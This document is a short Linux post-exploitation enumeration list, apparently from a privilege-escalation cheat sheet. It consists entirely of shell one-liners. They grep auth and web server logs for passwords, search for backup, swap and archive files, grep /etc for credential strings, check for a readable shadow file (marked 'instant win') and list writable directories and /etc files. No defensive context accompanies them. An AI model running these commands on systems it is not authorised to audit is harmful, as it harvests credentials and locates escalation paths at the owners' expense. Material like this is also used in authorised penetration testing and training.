grep -i "password\|credential\|secret" /var/log/auth.log 2>/dev/null | tail -20
grep -i "password" /var/log/apache2/access.log 2>/dev/null | head -20   # URL params
grep -i "password" /var/log/nginx/access.log 2>/dev/null | head -20

find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.orig" 2>/dev/null | grep -v "proc\|sys\|lib" | head -20
find / -name "*~" -o -name "*.swp" 2>/dev/null | grep -v proc | head -20   # vim temp files
find /tmp /var/tmp /dev/shm -type f 2>/dev/null | xargs ls -la 2>/dev/null

find / -name "*.tar.gz" -o -name "*.zip" -o -name "*.tar" -o -name "*.7z" 2>/dev/null | grep -v "proc\|sys\|lib\|dpkg" | head -15

find /etc -readable -type f 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null
find / -perm -o+r -name "shadow*" 2>/dev/null   # readable shadow = instant win

find / -writable -type d -not -path "*/proc/*" -not -path "*/sys/*" 2>/dev/null | grep -v "tmp\|/run\|/dev"
find /etc -writable -type f 2>/dev/null   # writable /etc files = critical